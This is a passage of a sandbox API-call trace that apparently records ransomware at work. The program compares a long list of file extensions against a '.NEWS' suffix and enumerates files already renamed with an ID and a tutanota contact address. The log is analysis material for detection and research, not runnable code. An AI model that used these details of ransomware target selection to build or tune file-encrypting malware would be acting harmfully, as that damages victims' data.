lstrlenW (lpString=".db") returned 3 [0157.687] lstrcmpiW (lpString1=".db", lpString2="EWS") returned -1 [0157.687] lstrlenW (lpString=".dbf") returned 4 [0157.687] lstrcmpiW (lpString1=".dbf", lpString2="NEWS") returned -1 [0157.687] lstrlenW (lpString=".dbx") returned 4 [0157.687] lstrcmpiW (lpString1=".dbx", lpString2="NEWS") returned -1 [0157.687] lstrlenW (lpString=".dc3") returned 4 [0157.687] lstrcmpiW (lpString1=".dc3", lpString2="NEWS") returned -1 [0157.687] lstrlenW (lpString=".dcm") returned 4 [0157.687] lstrcmpiW (lpString1=".dcm", lpString2="NEWS") returned -1 [0157.687] lstrlenW (lpString=".dcr") returned 4 [0157.687] lstrcmpiW (lpString1=".dcr", lpString2="NEWS") returned -1 [0157.687] lstrlenW (lpString=".der") returned 4 [0157.687] lstrcmpiW (lpString1=".der", lpString2="NEWS") returned -1 [0157.688] lstrlenW (lpString=".dib") returned 4 [0157.704] lstrcmpiW (lpString1=".dib", lpString2="NEWS") returned -1 [0157.704] lstrlenW (lpString=".dic") returned 4 [0157.704] lstrcmpiW (lpString1=".dic", lpString2="NEWS") returned -1 [0157.704] lstrlenW (lpString=".dif") returned 4 [0157.704] lstrcmpiW (lpString1=".dif", lpString2="NEWS") returned -1 [0157.704] lstrlenW (lpString=".divx") returned 5 [0157.704] lstrcmpiW (lpString1=".divx", lpString2=".NEWS") returned -1 [0157.704] lstrlenW (lpString=".djvu") returned 5 [0157.704] lstrcmpiW (lpString1=".djvu", lpString2=".NEWS") returned -1 [0157.704] lstrlenW (lpString=".dng") returned 4 [0157.704] lstrcmpiW (lpString1=".dng", lpString2="NEWS") returned -1 [0157.704] lstrlenW (lpString=".doc") returned 4 [0157.705] lstrcmpiW (lpString1=".doc", lpString2="NEWS") returned -1 [0157.705] lstrlenW (lpString=".docm") returned 5 [0157.705] lstrcmpiW (lpString1=".docm", lpString2=".NEWS") returned -1 [0157.705] lstrlenW (lpString=".docx") returned 5 [0157.705] lstrcmpiW (lpString1=".docx", lpString2=".NEWS") returned -1 [0157.705] lstrlenW (lpString=".dot") returned 4 [0157.705] lstrcmpiW (lpString1=".dot", lpString2="NEWS") returned -1 [0157.705] lstrlenW (lpString=".dotm") returned 5 [0157.705] lstrcmpiW (lpString1=".dotm", lpString2=".NEWS") returned -1 [0157.705] lstrlenW (lpString=".dotx") returned 5 [0157.705] lstrcmpiW (lpString1=".dotx", lpString2=".NEWS") returned -1 [0157.705] lstrlenW (lpString=".dpx") returned 4 [0157.705] lstrcmpiW (lpString1=".dpx", lpString2="NEWS") returned -1 [0157.705] lstrlenW (lpString=".dqy") returned 4 [0157.705] lstrcmpiW (lpString1=".dqy", lpString2="NEWS") returned -1 [0157.705] lstrlenW (lpString=".dsn") returned 4 [0157.705] lstrcmpiW (lpString1=".dsn", lpString2="NEWS") returned -1 [0157.705] lstrlenW (lpString=".dt") returned 3 [0157.705] lstrcmpiW (lpString1=".dt", lpString2="EWS") returned -1 [0157.705] lstrlenW (lpString=".dtd") returned 4 [0157.705] lstrcmpiW (lpString1=".dtd", lpString2="NEWS") returned -1 [0157.705] lstrlenW (lpString=".dwg") returned 4 [0157.705] lstrcmpiW (lpString1=".dwg", lpString2="NEWS") returned -1 [0157.705] lstrlenW (lpString=".dwt") returned 4 [0157.705] lstrcmpiW (lpString1=".dwt", lpString2="NEWS") returned -1 [0157.706] lstrlenW (lpString=".dx") returned 3 [0157.706] lstrcmpiW (lpString1=".dx", lpString2="EWS") returned -1 [0157.706] lstrlenW (lpString=".dxf") returned 4 [0157.706] lstrcmpiW (lpString1=".dxf", lpString2="NEWS") returned -1 [0157.706] lstrlenW (lpString=".edml") returned 5 [0157.706] lstrcmpiW (lpString1=".edml", lpString2=".NEWS") returned -1 [0157.706] lstrlenW (lpString=".efd") returned 4 [0157.706] lstrcmpiW (lpString1=".efd", lpString2="NEWS") returned -1 [0157.706] lstrlenW (lpString=".elf") returned 4 [0157.706] lstrcmpiW (lpString1=".elf", lpString2="NEWS") returned -1 [0157.706] lstrlenW (lpString=".emf") returned 4 [0157.706] lstrcmpiW (lpString1=".emf", lpString2="NEWS") returned -1 [0157.706] lstrlenW (lpString=".emz") returned 4 [0157.706] lstrcmpiW (lpString1=".emz", lpString2="NEWS") returned -1 [0157.706] lstrlenW (lpString=".epf") returned 4 [0157.706] lstrcmpiW (lpString1=".epf", lpString2="NEWS") returned -1 [0157.706] lstrlenW (lpString=".eps") returned 4 [0157.706] lstrcmpiW (lpString1=".eps", lpString2="NEWS") returned -1 [0157.707] lstrlenW (lpString=".epsf") returned 5 [0157.707] lstrcmpiW (lpString1=".epsf", lpString2=".NEWS") returned -1 [0157.707] lstrlenW (lpString=".epsp") returned 5 [0157.707] lstrcmpiW (lpString1=".epsp", lpString2=".NEWS") returned -1 [0157.707] lstrlenW (lpString=".erf") returned 4 [0157.707] lstrcmpiW (lpString1=".erf", lpString2="NEWS") returned -1 [0157.707] lstrlenW (lpString=".exr") returned 4 [0157.707] lstrcmpiW (lpString1=".exr", lpString2="NEWS") returned -1 [0157.707] lstrlenW (lpString=".f4v") returned 4 [0157.707] lstrcmpiW (lpString1=".f4v", lpString2="NEWS") returned -1 [0157.707] lstrlenW (lpString=".fido") returned 5 [0157.707] lstrcmpiW (lpString1=".fido", lpString2=".NEWS") returned -1 [0157.707] lstrlenW (lpString=".flm") returned 4 [0157.707] lstrcmpiW (lpString1=".flm", lpString2="NEWS") returned -1 [0157.707] lstrlenW (lpString=".flv") returned 4 [0157.707] lstrcmpiW (lpString1=".flv", lpString2="NEWS") returned -1 [0157.707] lstrlenW (lpString=".frm") returned 4 [0157.707] lstrcmpiW (lpString1=".frm", lpString2="NEWS") returned -1 [0157.707] lstrlenW (lpString=".fxg") returned 4 [0157.707] lstrcmpiW (lpString1=".fxg", lpString2="NEWS") returned -1 [0157.707] lstrlenW (lpString=".geo") returned 4 [0157.707] lstrcmpiW (lpString1=".geo", lpString2="NEWS") returned -1 [0157.707] lstrlenW (lpString=".gif") returned 4 [0157.707] lstrcmpiW (lpString1=".gif", lpString2="NEWS") returned -1 [0157.707] lstrlenW (lpString=".grs") returned 4 [0157.707] lstrcmpiW (lpString1=".grs", lpString2="NEWS") returned -1 [0157.707] lstrlenW (lpString=".gz") returned 3 [0157.708] lstrcmpiW (lpString1=".gz", lpString2="EWS") returned -1 [0157.708] lstrlenW (lpString=".h") returned 2 [0157.708] lstrcmpiW (lpString1=".h", lpString2="WS") returned -1 [0157.708] lstrlenW (lpString=".hdr") returned 4 [0157.708] lstrcmpiW (lpString1=".hdr", lpString2="NEWS") returned -1 [0157.708] lstrlenW (lpString=".hpp") returned 4 [0157.708] lstrcmpiW (lpString1=".hpp", lpString2="NEWS") returned -1 [0157.708] lstrlenW (lpString=".hta") returned 4 [0157.708] lstrcmpiW (lpString1=".hta", lpString2="NEWS") returned -1 [0157.708] lstrlenW (lpString=".htc") returned 4 [0157.708] lstrcmpiW (lpString1=".htc", lpString2="NEWS") returned -1 [0157.708] lstrlenW (lpString=".htm") returned 4 [0157.708] lstrcmpiW (lpString1=".htm", lpString2="NEWS") returned -1 [0157.708] lstrlenW (lpString=".html") returned 5 [0157.708] lstrcmpiW (lpString1=".html", lpString2=".NEWS") returned -1 [0157.708] lstrlenW (lpString=".icb") returned 4 [0157.708] lstrcmpiW (lpString1=".icb", lpString2="NEWS") returned -1 [0157.708] lstrlenW (lpString=".ics") returned 4 [0157.708] lstrcmpiW (lpString1=".ics", lpString2="NEWS") returned -1 [0157.708] lstrlenW (lpString=".iff") returned 4 [0157.708] lstrcmpiW (lpString1=".iff", lpString2="NEWS") returned -1 [0157.708] lstrlenW (lpString=".inc") returned 4 [0157.708] lstrcmpiW (lpString1=".inc", lpString2="NEWS") returned -1 [0157.708] lstrlenW (lpString=".indd") returned 5 [0157.708] lstrcmpiW (lpString1=".indd", lpString2=".NEWS") returned -1 [0157.708] lstrlenW (lpString=".ini") returned 4 [0157.708] lstrcmpiW (lpString1=".ini", lpString2="NEWS") returned -1 [0157.709] lstrlenW (lpString=".iqy") returned 4 [0157.709] lstrcmpiW (lpString1=".iqy", lpString2="NEWS") returned -1 [0157.709] lstrlenW (lpString=".j2c") returned 4 [0157.709] lstrcmpiW (lpString1=".j2c", lpString2="NEWS") returned -1 [0157.709] lstrlenW (lpString=".j2k") returned 4 [0157.709] lstrcmpiW (lpString1=".j2k", lpString2="NEWS") returned -1 [0157.709] lstrlenW (lpString=".java") returned 5 [0157.709] lstrcmpiW (lpString1=".java", lpString2=".NEWS") returned -1 [0157.709] lstrlenW (lpString=".jp2") returned 4 [0157.709] lstrcmpiW (lpString1=".jp2", lpString2="NEWS") returned -1 [0157.709] lstrlenW (lpString=".jpc") returned 4 [0157.709] lstrcmpiW (lpString1=".jpc", lpString2="NEWS") returned -1 [0157.709] lstrlenW (lpString=".jpe") returned 4 [0157.709] lstrcmpiW (lpString1=".jpe", lpString2="NEWS") returned -1 [0157.709] lstrlenW (lpString=".jpeg") returned 5 [0157.709] lstrcmpiW (lpString1=".jpeg", lpString2=".NEWS") returned -1 [0157.709] lstrlenW (lpString=".jpf") returned 4 [0157.709] lstrcmpiW (lpString1=".jpf", lpString2="NEWS") returned -1 [0157.709] lstrlenW (lpString=".jpg") returned 4 [0157.709] lstrcmpiW (lpString1=".jpg", lpString2="NEWS") returned -1 [0157.709] lstrlenW (lpString=".jpx") returned 4 [0157.709] lstrcmpiW (lpString1=".jpx", lpString2="NEWS") returned -1 [0157.710] lstrlenW (lpString=".js") returned 3 [0157.710] lstrcmpiW (lpString1=".js", lpString2="EWS") returned -1 [0157.710] lstrlenW (lpString=".jsf") returned 4 [0157.710] lstrcmpiW (lpString1=".jsf", lpString2="NEWS") returned -1 [0157.710] lstrlenW (lpString=".json") returned 5 [0157.710] lstrcmpiW (lpString1=".json", lpString2=".NEWS") returned -1 [0157.710] lstrlenW (lpString=".jsp") returned 4 [0157.710] lstrcmpiW (lpString1=".jsp", lpString2="NEWS") returned -1 [0157.710] lstrlenW (lpString=".kdc") returned 4 [0157.710] lstrcmpiW (lpString1=".kdc", lpString2="NEWS") returned -1 [0157.710] lstrlenW (lpString=".kmz") returned 4 [0157.710] lstrcmpiW (lpString1=".kmz", lpString2="NEWS") returned -1 [0157.710] lstrlenW (lpString=".kwm") returned 4 [0157.710] lstrcmpiW (lpString1=".kwm", lpString2="NEWS") returned -1 [0157.710] lstrlenW (lpString=".lasso") returned 6 [0157.710] lstrcmpiW (lpString1=".lasso", lpString2="].NEWS") returned -1 [0157.710] lstrlenW (lpString=".lbi") returned 4 [0157.710] lstrcmpiW (lpString1=".lbi", lpString2="NEWS") returned -1 [0157.710] lstrlenW (lpString=".lgf") returned 4 [0157.710] lstrcmpiW (lpString1=".lgf", lpString2="NEWS") returned -1 [0157.710] lstrlenW (lpString=".lgp") returned 4 [0157.710] lstrcmpiW (lpString1=".lgp", lpString2="NEWS") returned -1 [0157.710] lstrlenW (lpString=".log") returned 4 [0157.710] lstrcmpiW (lpString1=".log", lpString2="NEWS") returned -1 [0157.710] lstrlenW (lpString=".m1v") returned 4 [0157.710] lstrcmpiW (lpString1=".m1v", lpString2="NEWS") returned -1 [0157.710] lstrlenW (lpString=".m4a") returned 4 [0157.710] lstrcmpiW (lpString1=".m4a", lpString2="NEWS") returned -1 [0157.711] lstrlenW (lpString=".m4v") returned 4 [0157.711] lstrcmpiW (lpString1=".m4v", lpString2="NEWS") returned -1 [0157.711] lstrlenW (lpString=".max") returned 4 [0157.711] lstrcmpiW (lpString1=".max", lpString2="NEWS") returned -1 [0157.711] lstrlenW (lpString=".md") returned 3 [0157.711] lstrcmpiW (lpString1=".md", lpString2="EWS") returned -1 [0157.711] lstrlenW (lpString=".mda") returned 4 [0157.711] lstrcmpiW (lpString1=".mda", lpString2="NEWS") returned -1 [0157.711] lstrlenW (lpString=".mdb") returned 4 [0157.711] lstrcmpiW (lpString1=".mdb", lpString2="NEWS") returned -1 [0157.711] lstrlenW (lpString=".mde") returned 4 [0157.711] lstrcmpiW (lpString1=".mde", lpString2="NEWS") returned -1 [0157.711] lstrlenW (lpString=".mdf") returned 4 [0157.711] lstrcmpiW (lpString1=".mdf", lpString2="NEWS") returned -1 [0157.711] lstrlenW (lpString=".mdw") returned 4 [0157.711] lstrcmpiW (lpString1=".mdw", lpString2="NEWS") returned -1 [0157.711] lstrlenW (lpString=".mef") returned 4 [0157.711] lstrcmpiW (lpString1=".mef", lpString2="NEWS") returned -1 [0157.711] lstrlenW (lpString=".mft") returned 4 [0157.711] lstrcmpiW (lpString1=".mft", lpString2="NEWS") returned -1 [0157.711] lstrlenW (lpString=".mfw") returned 4 [0157.711] lstrcmpiW (lpString1=".mfw", lpString2="NEWS") returned -1 [0157.711] lstrlenW (lpString=".mht") returned 4 [0157.711] lstrcmpiW (lpString1=".mht", lpString2="NEWS") returned -1 [0157.711] lstrlenW (lpString=".mhtml") returned 6 [0157.711] lstrcmpiW (lpString1=".mhtml", lpString2="].NEWS") returned -1 [0157.714] lstrlenW (lpString=".mka") returned 4 [0157.714] lstrcmpiW (lpString1=".mka", lpString2="NEWS") returned -1 [0157.714] lstrlenW (lpString=".mkidx") returned 6 [0157.714] lstrcmpiW (lpString1=".mkidx", lpString2="].NEWS") returned -1 [0157.714] lstrlenW (lpString=".mkv") returned 4 [0157.714] lstrcmpiW (lpString1=".mkv", lpString2="NEWS") returned -1 [0157.714] lstrlenW (lpString=".mos") returned 4 [0157.714] lstrcmpiW (lpString1=".mos", lpString2="NEWS") returned -1 [0157.714] lstrlenW (lpString=".mov") returned 4 [0157.714] lstrcmpiW (lpString1=".mov", lpString2="NEWS") returned -1 [0157.714] lstrlenW (lpString=".mp3") returned 4 [0157.714] lstrcmpiW (lpString1=".mp3", lpString2="NEWS") returned -1 [0157.714] lstrlenW (lpString=".mp4") returned 4 [0157.714] lstrcmpiW (lpString1=".mp4", lpString2="NEWS") returned -1 [0157.714] lstrlenW (lpString=".mpeg") returned 5 [0157.714] lstrcmpiW (lpString1=".mpeg", lpString2=".NEWS") returned -1 [0157.714] lstrlenW (lpString=".mpg") returned 4 [0157.714] lstrcmpiW (lpString1=".mpg", lpString2="NEWS") returned -1 [0157.714] lstrlenW (lpString=".mpv") returned 4 [0157.714] lstrcmpiW (lpString1=".mpv", lpString2="NEWS") returned -1 [0157.715] lstrlenW (lpString=".mrw") returned 4 [0157.715] lstrcmpiW (lpString1=".mrw", lpString2="NEWS") returned -1 [0157.715] lstrlenW (lpString=".msg") returned 4 [0157.715] lstrcmpiW (lpString1=".msg", lpString2="NEWS") returned -1 [0157.715] lstrlenW (lpString=".mxl") returned 4 [0157.715] lstrcmpiW (lpString1=".mxl", lpString2="NEWS") returned -1 [0157.715] lstrlenW (lpString=".myd") returned 4 [0157.715] lstrcmpiW (lpString1=".myd", lpString2="NEWS") returned -1 [0157.715] lstrlenW (lpString=".myi") returned 4 [0157.715] lstrcmpiW (lpString1=".myi", lpString2="NEWS") returned -1 [0157.715] lstrlenW (lpString=".nef") returned 4 [0157.715] lstrcmpiW (lpString1=".nef", lpString2="NEWS") returned -1 [0157.715] lstrlenW (lpString=".nrw") returned 4 [0157.715] lstrcmpiW (lpString1=".nrw", lpString2="NEWS") returned -1 [0157.715] lstrlenW (lpString=".obj") returned 4 [0157.715] lstrcmpiW (lpString1=".obj", lpString2="NEWS") returned -1 [0157.715] lstrlenW (lpString=".odb") returned 4 [0157.715] lstrcmpiW (lpString1=".odb", lpString2="NEWS") returned -1 [0157.715] lstrlenW (lpString=".odc") returned 4 [0157.715] lstrcmpiW (lpString1=".odc", lpString2="NEWS") returned -1 [0157.715] lstrlenW (lpString=".odm") returned 4 [0157.715] lstrcmpiW (lpString1=".odm", lpString2="NEWS") returned -1 [0157.715] lstrlenW (lpString=".odp") returned 4 [0157.715] lstrcmpiW (lpString1=".odp", lpString2="NEWS") returned -1 [0157.715] lstrlenW (lpString=".ods") returned 4 [0157.715] lstrcmpiW (lpString1=".ods", lpString2="NEWS") returned -1 [0157.715] lstrlenW (lpString=".oft") returned 4 [0157.715] lstrcmpiW (lpString1=".oft", lpString2="NEWS") returned -1 [0157.716] lstrlenW (lpString=".one") returned 4 [0157.716] lstrcmpiW (lpString1=".one", lpString2="NEWS") returned -1 [0157.716] lstrlenW (lpString=".onepkg") returned 7 [0157.716] lstrcmpiW (lpString1=".onepkg", lpString2="m].NEWS") returned -1 [0157.717] lstrlenW (lpString=".onetoc2") returned 8 [0157.717] lstrcmpiW (lpString1=".onetoc2", lpString2="om].NEWS") returned -1 [0157.717] lstrlenW (lpString=".opt") returned 4 [0157.717] lstrcmpiW (lpString1=".opt", lpString2="NEWS") returned -1 [0157.717] lstrlenW (lpString=".oqy") returned 4 [0157.718] lstrcmpiW (lpString1=".oqy", lpString2="NEWS") returned -1 [0157.718] lstrlenW (lpString=".orf") returned 4 [0157.718] lstrcmpiW (lpString1=".orf", lpString2="NEWS") returned -1 [0157.718] lstrlenW (lpString=".p12") returned 4 [0157.718] lstrcmpiW (lpString1=".p12", lpString2="NEWS") returned -1 [0157.719] lstrlenW (lpString=".p7b") returned 4 [0157.719] lstrcmpiW (lpString1=".p7b", lpString2="NEWS") returned -1 [0157.719] lstrlenW (lpString=".p7c") returned 4 [0157.719] lstrcmpiW (lpString1=".p7c", lpString2="NEWS") returned -1 [0157.719] lstrlenW (lpString=".pam") returned 4 [0157.719] lstrcmpiW (lpString1=".pam", lpString2="NEWS") returned -1 [0157.719] lstrlenW (lpString=".pbm") returned 4 [0157.719] lstrcmpiW (lpString1=".pbm", lpString2="NEWS") returned -1 [0157.720] lstrlenW (lpString=".pct") returned 4 [0157.721] lstrcmpiW (lpString1=".pct", lpString2="NEWS") returned -1 [0157.721] lstrlenW (lpString=".pcx") returned 4 [0157.721] lstrcmpiW (lpString1=".pcx", lpString2="NEWS") returned -1 [0157.721] lstrlenW (lpString=".pdd") returned 4 [0157.721] lstrcmpiW (lpString1=".pdd", lpString2="NEWS") returned -1 [0157.721] lstrlenW (lpString=".pdf") returned 4 [0157.721] lstrcmpiW (lpString1=".pdf", lpString2="NEWS") returned -1 [0157.721] lstrlenW (lpString=".pdp") returned 4 [0157.721] lstrcmpiW (lpString1=".pdp", lpString2="NEWS") returned -1 [0157.721] lstrlenW (lpString=".pef") returned 4 [0157.721] lstrcmpiW (lpString1=".pef", lpString2="NEWS") returned -1 [0157.721] lstrlenW (lpString=".pem") returned 4 [0157.722] lstrcmpiW (lpString1=".pem", lpString2="NEWS") returned -1 [0157.722] lstrlenW (lpString=".pff") returned 4 [0157.722] lstrcmpiW (lpString1=".pff", lpString2="NEWS") returned -1 [0157.722] lstrlenW (lpString=".pfm") returned 4 [0157.722] lstrcmpiW (lpString1=".pfm", lpString2="NEWS") returned -1 [0157.722] lstrlenW (lpString=".pfx") returned 4 [0157.722] lstrcmpiW (lpString1=".pfx", lpString2="NEWS") returned -1 [0157.722] lstrlenW (lpString=".pgm") returned 4 [0157.722] lstrcmpiW (lpString1=".pgm", lpString2="NEWS") returned -1 [0157.722] lstrlenW (lpString=".php") returned 4 [0157.722] lstrcmpiW (lpString1=".php", lpString2="NEWS") returned -1 [0157.722] lstrlenW (lpString=".php3") returned 5 [0157.722] lstrcmpiW (lpString1=".php3", lpString2=".NEWS") returned 1 [0157.722] lstrlenW (lpString=".php4") returned 5 [0157.722] lstrcmpiW (lpString1=".php4", lpString2=".NEWS") returned 1 [0157.722] lstrlenW (lpString=".php5") returned 5 [0157.722] lstrcmpiW (lpString1=".php5", lpString2=".NEWS") returned 1 [0157.722] lstrlenW (lpString=".phtml") returned 6 [0157.724] lstrcmpiW (lpString1=".phtml", lpString2="].NEWS") returned -1 [0157.724] lstrlenW (lpString=".pict") returned 5 [0157.724] lstrcmpiW (lpString1=".pict", lpString2=".NEWS") returned 1 [0157.724] lstrlenW (lpString=".pl") returned 3 [0157.724] lstrcmpiW (lpString1=".pl", lpString2="EWS") returned -1 [0157.724] lstrlenW (lpString=".pls") returned 4 [0157.724] lstrcmpiW (lpString1=".pls", lpString2="NEWS") returned -1 [0157.724] lstrlenW (lpString=".pm") returned 3 [0157.724] lstrcmpiW (lpString1=".pm", lpString2="EWS") returned -1 [0157.724] lstrlenW (lpString=".png") returned 4 [0157.724] lstrcmpiW (lpString1=".png", lpString2="NEWS") returned -1 [0157.724] lstrlenW (lpString=".pnm") returned 4 [0157.724] lstrcmpiW (lpString1=".pnm", lpString2="NEWS") returned -1 [0157.724] lstrlenW (lpString=".pot") returned 4 [0157.724] lstrcmpiW (lpString1=".pot", lpString2="NEWS") returned -1 [0157.724] lstrlenW (lpString=".potm") returned 5 [0157.724] lstrcmpiW (lpString1=".potm", lpString2=".NEWS") returned 1 [0157.724] lstrlenW (lpString=".potx") returned 5 [0157.724] lstrcmpiW (lpString1=".potx", lpString2=".NEWS") returned 1 [0157.724] lstrlenW (lpString=".ppa") returned 4 [0157.724] lstrcmpiW (lpString1=".ppa", lpString2="NEWS") returned -1 [0157.725] lstrlenW (lpString=".ppam") returned 5 [0157.725] lstrcmpiW (lpString1=".ppam", lpString2=".NEWS") returned 1 [0157.725] lstrlenW (lpString=".ppm") returned 4 [0157.725] lstrcmpiW (lpString1=".ppm", lpString2="NEWS") returned -1 [0157.725] lstrlenW (lpString=".pps") returned 4 [0157.725] lstrcmpiW (lpString1=".pps", lpString2="NEWS") returned -1 [0157.725] lstrlenW (lpString=".ppsm") returned 5 [0157.725] lstrcmpiW (lpString1=".ppsm", lpString2=".NEWS") returned 1 [0157.725] lstrlenW (lpString=".ppt") returned 4 [0157.725] lstrcmpiW (lpString1=".ppt", lpString2="NEWS") returned -1 [0157.725] lstrlenW (lpString=".pptm") returned 5 [0157.725] lstrcmpiW (lpString1=".pptm", lpString2=".NEWS") returned 1 [0157.725] lstrlenW (lpString=".pptx") returned 5 [0157.725] lstrcmpiW (lpString1=".pptx", lpString2=".NEWS") returned 1 [0157.725] lstrlenW (lpString=".prn") returned 4 [0157.725] lstrcmpiW (lpString1=".prn", lpString2="NEWS") returned -1 [0157.725] lstrlenW (lpString=".ps") returned 3 [0157.725] lstrcmpiW (lpString1=".ps", lpString2="EWS") returned -1 [0157.725] lstrlenW (lpString=".psb") returned 4 [0157.725] lstrcmpiW (lpString1=".psb", lpString2="NEWS") returned -1 [0157.725] lstrlenW (lpString=".psd") returned 4 [0157.725] lstrcmpiW (lpString1=".psd", lpString2="NEWS") returned -1 [0157.725] lstrlenW (lpString=".pst") returned 4 [0157.725] lstrcmpiW (lpString1=".pst", lpString2="NEWS") returned -1 [0157.725] lstrlenW (lpString=".ptx") returned 4 [0157.725] lstrcmpiW (lpString1=".ptx", lpString2="NEWS") returned -1 [0157.725] lstrlenW (lpString=".pub") returned 4 [0157.725] lstrcmpiW (lpString1=".pub", lpString2="NEWS") returned -1 [0157.725] lstrlenW (lpString=".pwm") returned 4 [0157.725] lstrcmpiW (lpString1=".pwm", lpString2="NEWS") returned -1 [0157.725] lstrlenW (lpString=".pxr") returned 4 [0157.725] lstrcmpiW (lpString1=".pxr", lpString2="NEWS") returned -1 [0157.726] lstrlenW (lpString=".py") returned 3 [0157.726] lstrcmpiW (lpString1=".py", lpString2="EWS") returned -1 [0157.726] lstrlenW (lpString=".qt") returned 3 [0157.726] lstrcmpiW (lpString1=".qt", lpString2="EWS") returned -1 [0157.726] lstrlenW (lpString=".r3d") returned 4 [0157.726] lstrcmpiW (lpString1=".r3d", lpString2="NEWS") returned -1 [0157.726] lstrlenW (lpString=".raf") returned 4 [0157.726] lstrcmpiW (lpString1=".raf", lpString2="NEWS") returned -1 [0157.726] lstrlenW (lpString=".rar") returned 4 [0157.726] lstrcmpiW (lpString1=".rar", lpString2="NEWS") returned -1 [0157.726] lstrlenW (lpString=".raw") returned 4 [0157.726] lstrcmpiW (lpString1=".raw", lpString2="NEWS") returned -1 [0157.726] FindNextFileW (in: hFindFile=0x484198, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Extended", cAlternateFileName="")) returned 1 [0157.726] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3fc0980 [0157.726] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\*", lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x484318 [0157.728] FindNextFileW (in: hFindFile=0x484318, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.728] FindNextFileW (in: hFindFile=0x484318, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39b271f3, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39b271f3, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39f53441, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x16d86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="PARAME~1.NEW")) returned 1 [0157.728] FindNextFileW (in: hFindFile=0x484318, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39d16ffd, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39d16ffd, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39d3d21a, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="UIINFO~1.NEW")) returned 1 [0157.728] FindNextFileW (in: hFindFile=0x484318, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39d16ffd, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39d16ffd, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39d3d21a, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="UIINFO~1.NEW")) returned 0 [0157.728] FindClose (in: hFindFile=0x484318 | out: hFindFile=0x484318) returned 1 [0157.729] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fc0980 | out: hHeap=0x420000) returned 1 [0157.729] FindNextFileW (in: hFindFile=0x484198, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Graphics", cAlternateFileName="")) returned 1 [0157.729] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3fc0980 [0157.729] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\*", lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x484558 [0157.731] FindNextFileW (in: hFindFile=0x484558, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, 